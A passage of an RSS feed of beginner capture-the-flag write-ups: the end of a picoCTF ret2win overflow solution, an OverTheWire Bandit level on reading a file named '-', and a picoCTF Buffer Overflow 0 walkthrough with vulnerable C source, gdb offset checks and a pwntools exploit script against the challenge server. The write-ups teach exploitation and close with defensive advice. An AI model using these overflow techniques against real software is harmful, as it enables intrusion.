&lt;span class="n"&gt;io&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;recvline&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;  &lt;span class="c1"&gt;# "Ok, now what's your name?"
&lt;/span&gt;&lt;span class="n"&gt;io&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sendline&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;ctfdojo&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# answer anything for the 2nd gets()
&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;io&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;recvall&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Step 4 — Run the exploit
&lt;/h2&gt;

&lt;p&gt;By sending this payload, the &lt;code&gt;ret&lt;/code&gt; in &lt;code&gt;vuln()&lt;/code&gt; no longer returns to &lt;code&gt;main()&lt;/code&gt; but jumps straight to &lt;code&gt;win()&lt;/code&gt;, which executes &lt;code&gt;system("/bin/cat flag.txt")&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ python3 exploit.py
[+] Opening connection to mercury.picoctf.net on port 54321: Done
[*] win() address: 0x401216
Congratulations!
picoCTF{***************************}
[*] Closed connection to mercury.picoctf.net port 54321
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note: this technique works directly because the binary is compiled &lt;strong&gt;without PIE&lt;/strong&gt; — the address of &lt;code&gt;win()&lt;/code&gt; is fixed and known at compile time. If PIE had been enabled, function addresses would be randomized on every run, and we would first have needed to leak an address (for example via an information leak) to compute the real offset before being able to target &lt;code&gt;win()&lt;/code&gt; precisely.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;🚩 picoCTF{ flag intentionally hidden }&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The flag is deliberately hidden — follow the method, you've earned it. 💪&lt;/p&gt;

&lt;h2&gt;
  
  
  Key takeaways
&lt;/h2&gt;

&lt;p&gt;Ret2win illustrates the founding principle of all binary exploitation: controlling the return address means controlling the program's flow of execution.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The return address stored on the stack is just data like any other — if it's reachable via an overflow, it's modifiable&lt;/li&gt;
&lt;li&gt;Cyclic patterns (&lt;code&gt;cyclic&lt;/code&gt; / &lt;code&gt;cyclic_find&lt;/code&gt;) avoid computing offsets by hand and are essential as soon as the buffer gets complex&lt;/li&gt;
&lt;li&gt;It's the gateway to more advanced techniques (ROP chains) when no ready-made "win" function exists in the target binary&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;Originally published on &lt;a href="https://ctfdojo.com/writeups/picoctf-buffer-overflow-1-writeup.html" rel="noopener noreferrer"&gt;CTFdojo&lt;/a&gt; — join the &lt;a href="https://discord.gg/cvypGBQCBg" rel="noopener noreferrer"&gt;CTFdojo Discord&lt;/a&gt; to discuss writeups and get notified about new ones.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ctf</category>
      <category>security</category>
      <category>beginners</category>
    </item>
    <item>
      <title>OverTheWire Bandit Level 1 Writeup — Read a File Named -</title>
      <dc:creator>CTFDojo</dc:creator>
      <pubDate>Tue, 29 Sep 2026 19:57:24 +0000</pubDate>
      <link>https://dev.to/ctfdojo/overthewire-bandit-level-1-writeup-read-a-file-named--49fk</link>
      <guid>https://dev.to/ctfdojo/overthewire-bandit-level-1-writeup-read-a-file-named--49fk</guid>
      <description>&lt;p&gt;&lt;em&gt;The password file is named &lt;code&gt;-&lt;/code&gt; (a single dash). Running &lt;code&gt;cat -&lt;/code&gt; reads from the keyboard instead, because &lt;code&gt;-&lt;/code&gt; is a special argument to many programs — prefix it with &lt;code&gt;./&lt;/code&gt; to force a literal filename.&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Platform:&lt;/strong&gt; OverTheWire Bandit&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Category:&lt;/strong&gt; Linux Fundamentals&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Level:&lt;/strong&gt; 1 → 2&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Difficulty:&lt;/strong&gt; Beginner&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Technique:&lt;/strong&gt; Shell filename edge cases&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Challenge description
&lt;/h2&gt;

&lt;p&gt;Level 1's home directory contains exactly one file, and its name is a single dash: &lt;code&gt;-&lt;/code&gt;. That's not a display glitch — it's the actual filename, chosen specifically to trip up the obvious command.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;"Level Goal: The password for the next level is stored in a file called - located in the home directory."&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Step 1 — List the home directory
&lt;/h2&gt;

&lt;p&gt;Log in as bandit1 with the password from level 0, then list the directory:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;ls&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;-
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Step 2 — The naive attempt fails
&lt;/h2&gt;

&lt;p&gt;Reading it the obvious way doesn't do what you'd expect:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; -
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# hangs — it's now waiting for you to type something on stdin,
# because many Unix tools treat a bare - as "read from standard input"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Step 3 — Reference the file explicitly
&lt;/h2&gt;

&lt;p&gt;Prefix the filename with &lt;code&gt;./&lt;/code&gt; so the shell passes an unambiguous path instead of a bare dash:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; ./-
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[PASSWORD FOR bandit2]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;🔑 password intentionally hidden&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The password is deliberately hidden — follow the method, you've earned it. 💪&lt;/p&gt;

&lt;h2&gt;
  
  
  Key takeaways
&lt;/h2&gt;

&lt;p&gt;A leading &lt;code&gt;-&lt;/code&gt; in a filename is ambiguous to almost every command-line tool, since &lt;code&gt;-&lt;/code&gt; is a long-standing Unix convention for "use stdin/stdout instead of a file." Prefixing a path (&lt;code&gt;./&lt;/code&gt;) or using &lt;code&gt;--&lt;/code&gt; to mark the end of options both sidestep the ambiguity.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A bare &lt;code&gt;-&lt;/code&gt; as an argument commonly means stdin/stdout, not a literal filename&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;./filename&lt;/code&gt; forces the shell to treat it as a path, never as an option&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-- filename&lt;/code&gt; is the equivalent fix for tools that support the &lt;code&gt;--&lt;/code&gt; end-of-options marker&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;Originally published on &lt;a href="https://ctfdojo.com/writeups/overthewire-bandit-level1-writeup.html" rel="noopener noreferrer"&gt;CTFdojo&lt;/a&gt; — join the &lt;a href="https://discord.gg/cvypGBQCBg" rel="noopener noreferrer"&gt;CTFdojo Discord&lt;/a&gt; to discuss writeups and get notified about new ones.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ctf</category>
      <category>security</category>
      <category>beginners</category>
    </item>
    <item>
      <title>PicoCTF Buffer Overflow 0 Writeup — Overwrite a Variable to Unlock the Flag</title>
      <dc:creator>CTFDojo</dc:creator>
      <pubDate>Mon, 28 Sep 2026 20:59:02 +0000</pubDate>
      <link>https://dev.to/ctfdojo/picoctf-buffer-overflow-0-writeup-overwrite-a-variable-to-unlock-the-flag-1epl</link>
      <guid>https://dev.to/ctfdojo/picoctf-buffer-overflow-0-writeup-overwrite-a-variable-to-unlock-the-flag-1epl</guid>
      <description>&lt;p&gt;&lt;em&gt;The binary reads user input into a fixed-size buffer without checking its length (&lt;code&gt;gets()&lt;/code&gt;). By sending an input longer than the buffer, we overwrite an adjacent variable in memory (&lt;code&gt;int flag_check&lt;/code&gt;) which, once set to a non-zero value, triggers the flag display.&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Platform:&lt;/strong&gt; picoGym&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Category:&lt;/strong&gt; Binary Exploitation (Pwn)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Points:&lt;/strong&gt; 200 pts&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Difficulty:&lt;/strong&gt; Intermediate&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Technique:&lt;/strong&gt; Buffer overflow, pwntools&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Challenge description
&lt;/h2&gt;

&lt;p&gt;The challenge provides a &lt;code&gt;vuln&lt;/code&gt; binary along with its C source code. It contains a &lt;code&gt;vuln()&lt;/code&gt; function that declares a fixed-size buffer followed by a control variable, and reads user input without ever checking its length:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;vuln&lt;/span&gt;&lt;span class="p"&gt;(){&lt;/span&gt;
    &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;flag_check&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Please enter your string: &lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;gets&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;flag_check&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mh"&gt;0x1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Attempting to read flag&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;print_flag&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Value: 0x%x&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;flag_check&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Better luck next time!&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The goal is clear: force &lt;code&gt;flag_check&lt;/code&gt; to hold &lt;code&gt;1&lt;/code&gt; (or any non-zero value interpreted as such) so the program calls &lt;code&gt;print_flag()&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 1 — Static analysis
&lt;/h2&gt;

&lt;p&gt;The key point is the order in which variables are declared inside &lt;code&gt;vuln()&lt;/code&gt;: &lt;code&gt;buf[64]&lt;/code&gt; is declared just before &lt;code&gt;flag_check&lt;/code&gt;. On most x86/x86-64 architectures, with default compiler optimizations, local variables are placed on the stack in an order that makes them adjacent in memory — &lt;code&gt;flag_check&lt;/code&gt; ends up right after &lt;code&gt;buf&lt;/code&gt;, at higher addresses.&lt;/p&gt;

&lt;p&gt;In practice, this means that writing beyond the buffer's 64 bytes causes the extra bytes to overflow directly into the memory space occupied by &lt;code&gt;flag_check&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 2 — Check the protections
&lt;/h2&gt;

&lt;p&gt;First, we check which memory protections are active on the binary using &lt;code&gt;checksec&lt;/code&gt; (provided by pwntools):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ checksec ./vuln
[*] '/home/user/bof0/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No &lt;em&gt;stack canary&lt;/em&gt; is present: nothing detects a stack overwrite before the &lt;code&gt;return&lt;/code&gt;. This is consistent with an introductory challenge — we can overwrite &lt;code&gt;flag_check&lt;/code&gt; without triggering any alarm.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 3 — Calculate the offset
&lt;/h2&gt;

&lt;p&gt;The source code shows &lt;code&gt;char buf[64]&lt;/code&gt;. Thanks to the usual memory alignment (often 4 or 8 bytes on the compiler side), &lt;code&gt;flag_check&lt;/code&gt; sits right after these 64 bytes. We can confirm this with &lt;code&gt;gdb&lt;/code&gt; by setting a breakpoint after the read and inspecting the addresses of both variables:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;gdb-peda$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;break&lt;/span&gt; &lt;span class="k"&gt;*&lt;/span&gt;vuln+80
&lt;span class="gp"&gt;gdb-peda$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;run
&lt;span class="gp"&gt;gdb-peda$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;p &amp;amp;buf
&lt;span class="gp"&gt;$&lt;/span&gt;1 &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;char &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;)[&lt;/span&gt;64]&lt;span class="o"&gt;)&lt;/span&gt; 0x7ffee2a1b3a0
&lt;span class="gp"&gt;gdb-peda$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;p &amp;amp;flag_check
&lt;span class="gp"&gt;$&lt;/span&gt;2 &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;int &lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; 0x7ffee2a1b3e0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The difference between the two addresses (&lt;code&gt;0x3e0 - 0x3a0 = 0x40&lt;/code&gt;, i.e. 64 in decimal) confirms that exactly 64 bytes of padding are enough to reach &lt;code&gt;flag_check&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 4 — Exploit with pwntools
&lt;/h2&gt;

&lt;p&gt;The payload is simple: 64 padding bytes (any value) followed by the 4 bytes representing the integer &lt;code&gt;1&lt;/code&gt; in little-endian, to overwrite &lt;code&gt;flag_check&lt;/code&gt; with a non-zero value.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;pwn&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;

&lt;span class="c1"&gt;# context.log_level = 'debug'
&lt;/span&gt;&lt;span class="n"&gt;elf&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;binary&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;ELF&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;./vuln&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# io = process('./vuln')            # test locally
&lt;/span&gt;&lt;span class="n"&gt;io&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;remote&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;mercury.picoctf.net&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;12345&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# connect to the remote service
&lt;/span&gt;
&lt;span class="n"&gt;offset&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;64&lt;/span&gt;
&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;A&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;offset&lt;/span&gt;
&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="nf"&gt;p32&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;   &lt;span class="c1"&gt;# overwrite flag_check with 1
&lt;/span&gt;
&lt;span class="n"&gt;io&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;recvuntil&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;string: &lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;io&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sendline&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;io&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;recvall&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Step 5 — Grab the flag
&lt;/h2&gt;

&lt;p&gt;We run the exploit. The program reads our 68-byte input, overwrites &lt;code&gt;flag_check&lt;/code&gt;, enters the &lt;code&gt;if&lt;/code&gt; block, and calls &lt;code&gt;print_flag()&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ python3 exploit.py
[+] Opening connection to mercury.picoctf.net on port 12345: Done
Please enter your string:
Attempting to read flag
picoCTF{***************************}
[*] Closed connection to mercury.picoctf.net port 12345
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;🚩 picoCTF{ flag intentionally hidden }&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The flag is deliberately hidden — follow the method, you've earned it. 💪&lt;/p&gt;

&lt;h2&gt;
  
  
  Key takeaways
&lt;/h2&gt;

&lt;p&gt;This challenge is the classic entry point into pwn: understanding that the stack is a contiguous memory space, and that nothing prevents an unbounded write from "overflowing" from one variable into another.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Never use &lt;code&gt;gets()&lt;/code&gt; — the function was removed from the C11 standard precisely for this reason&lt;/li&gt;
&lt;li&gt;Prefer bounded equivalents like &lt;code&gt;fgets()&lt;/code&gt; or &lt;code&gt;strncpy()&lt;/code&gt;, which take a maximum size as a parameter&lt;/li&gt;
&lt;li&gt;Enable compiler protections (&lt;code&gt;-fstack-protector-all&lt;/code&gt;, full RELRO, PIE) to make exploitation much harder in production&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;Originally published on &lt;a href="https://ctfdojo.com/writeups/picoctf-buffer-overflow-0-writeup.html" rel="noopener noreferrer"&gt;CTFdojo&lt;/a&gt; — join the &lt;a href="https://discord.gg/cvypGBQCBg" rel="noopener noreferrer"&gt;CTFdojo Discord&lt;/a&gt; to discuss writeups and get notified about new ones.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ctf</category>
      <category>security</category>
      <category>beginners</category>
    </item>
  </channel>
</rss>
